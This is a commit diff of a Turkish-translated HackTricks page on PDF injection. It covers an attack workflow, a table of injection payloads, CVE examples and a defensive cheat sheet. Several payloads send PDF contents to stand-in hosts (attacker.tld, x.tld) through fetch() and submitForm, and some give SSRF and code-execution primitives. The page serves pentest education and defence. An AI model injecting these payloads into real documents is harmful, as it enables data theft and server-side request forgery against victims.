mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
parent
f276a19e8b
commit
e6e3f77cf8
@ -1,7 +1,55 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
# PDF Injection
|
||||||
|
|
||||||
**Eğer girdiniz bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak veya PDF içeriğini çalmak için PDF verisi enjekte etmeyi deneyebilirsiniz.**
|
|
||||||
|
|
||||||
Chec the post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
**Eğer girdiniz bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak, SSRF gerçekleştirmek veya PDF içeriğini çalmak için PDF verisi enjekte etmeyi deneyebilirsiniz.**
|
||||||
|
PDF sözdizimi son derece hoşgörülüdür – eğer girdinizi gömülü olduğu dizeden veya sözlükten çıkarabilirseniz, Acrobat/Chrome'un memnuniyetle ayrıştıracağı tamamen yeni nesneler (veya aynı nesnede yeni anahtarlar) ekleyebilirsiniz.
|
||||||
|
2024'ten itibaren bir dizi hata ödülü raporu, *bir kaçış karakteri olmayan parantez veya ters eğik çizginin tam script çalıştırmak için yeterli olduğunu* göstermiştir.
|
||||||
|
|
||||||
|
## TL;DR – Modern Saldırı İş Akışı (2024)
|
||||||
|
1. Oluşturulan PDF'de **(parantez dizesi)**, `/URI ( … )` veya `/JS ( … )` alanında sona eren herhangi bir kullanıcı kontrolündeki değeri bulun.
|
||||||
|
2. Dizeyi kapatmak için `) ` enjekte edin ve ardından aşağıdaki ilkelere birini ekleyin ve sözdizimini geçerli tutmak için başka bir açılış parantezi ile bitirin.
|
||||||
|
3. Kötü niyetli PDF'yi bir kurbanına (veya dosyayı otomatik olarak işleyen bir arka uç hizmetine – kör hatalar için harika) teslim edin.
|
||||||
|
4. Yüklemeniz PDF görüntüleyicide çalışır:
|
||||||
|
* Chrome / Edge → PDFium Sandbox
|
||||||
|
* Firefox → PDF.js (bkz. CVE-2024-4367)
|
||||||
|
* Acrobat → Tam JavaScript API (arbitrary dosya içeriklerini `this.getPageNthWord` ile dışarı aktarabilir)
|
||||||
|
|
||||||
|
Örnek (not bağlantısı kaçırma):
|
||||||
|
```pdf
|
||||||
|
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
|
||||||
|
```
|
||||||
|
*İlk `)` orijinal URI dizesini kapatır, ardından kullanıcı bağlantıya tıkladığında Acrobat'ın gerçekleştireceği yeni bir **Action** sözlüğü ekleriz.*
|
||||||
|
|
||||||
|
## Kullanışlı Enjeksiyon Primitifleri
|
||||||
|
| Hedef | Yük Paylaşım Parçası | Notlar |
|
||||||
|
|------|-----------------|-------|
|
||||||
|
| **Açılışta JavaScript** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Belge açıldığında anında çalışır (Acrobat'ta çalışır, Chrome'da çalışmaz). |
|
||||||
|
| **Bağlantıda JavaScript** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | `/Link` anotasyonunu kontrol ediyorsanız PDFium & Acrobat'ta çalışır. |
|
||||||
|
| **Kör veri sızdırma** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | İçerik çalmak için JS içinde `this.getPageNthWord` ile birleştirin. |
|
||||||
|
| **Sunucu Tarafı SSRF** | Yukarıdakiyle aynı ancak dahili bir URL'yi hedefleyin – PDF'nin `/URI`'yi dikkate alan arka ofis hizmetleri tarafından render edildiğinde harika. |
|
||||||
|
| **Yeni nesneler için Satır Sonu** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Kütüphane yeni satır karakterlerini enjekte etmenize izin veriyorsa tamamen yeni nesneler oluşturabilirsiniz. |
|
||||||
|
|
||||||
|
## Kör Sayım Hilesi
|
||||||
|
Gareth Heyes (PortSwigger), bilinmeyen bir belgedeki her nesneyi sayan bir tek satırlık kod yayınladı – oluşturulan PDF'yi göremediğinizde kullanışlıdır:
|
||||||
|
```pdf
|
||||||
|
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
|
||||||
|
```
|
||||||
|
Kod, Acrobat DOM'u üzerinde döngü yapar ve her özellik/değer çifti için dışa açık istekler gönderir, size dosyanın *JSON-benzeri* bir dökümünü verir. Tam teknik için “Portable Data **ex**Filtration” adlı beyaz belgeye bakın.
|
||||||
|
|
||||||
|
## Gerçek Dünya Hataları (2023-2025)
|
||||||
|
* **CVE-2024-4367** – Firefox’un PDF.js sürüm 4.2.67 öncesinde, hazırlanmış bir `/JavaScript` eylemi ile kumandayı aşan rastgele JavaScript yürütmesi.
|
||||||
|
* **Hata ödülü 2024-05** – Büyük bir fintech, `/URI`'de yer alan müşteri tarafından sağlanan fatura notlarına izin verdi; `file:///` URI kullanarak iç metadata sunucusuna gösterilen SSRF sonrası rapor $10k ödendi.
|
||||||
|
* **CVE-2023-26155** – Sanitasyona tabi tutulmamış PDF yolu üzerinden `node-qpdf` komut enjeksiyonu, PDF katmanından *önce* ters eğik çizgilerin ve parantezlerin kaçışının önemini gösterir.
|
||||||
|
|
||||||
|
## Savunma Hile Sayfası
|
||||||
|
1. **Asla ham kullanıcı girdisini** `(`…`)` dizeleri veya adları içinde birleştirmeyin. PDF spesifikasyonunun §7.3'üne göre `\`, `(`, `)` karakterlerini gerektiği gibi kaçırın veya hex dizeleri `<...>` kullanın.
|
||||||
|
2. Bağlantılar oluşturuyorsanız, *tamamen* URL kodlaması yaptığınız `/URI (https://…)` tercih edin; istemci görüntüleyicilerinde `javascript:` şemalarını engelleyin.
|
||||||
|
3. PDF'leri son işlemden geçirirken `/OpenAction`, `/AA` (ek eylemler), `/Launch`, `/SubmitForm` ve `/ImportData` sözlüklerini temizleyin veya doğrulayın.
|
||||||
|
4. Sunucu tarafında, güvenilmeyen PDF'leri JavaScript ve dış eylemleri kaldıran bir *başsız dönüştürücü* (örneğin, qpdf –decrypt –linearize) ile işleyin.
|
||||||
|
5. PDF görüntüleyicilerini güncel tutun; PDF.js < 4.2.67 ve Acrobat Reader, Temmuz 2024 yamanmadan önce basit kod yürütmesine izin verir.
|
||||||
|
|
||||||
|
## Referanslar
|
||||||
|
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (Mayıs 2024 güncellendi). <https://portswigger.net/research/portable-data-exfiltration>
|
||||||
|
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Nisan 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user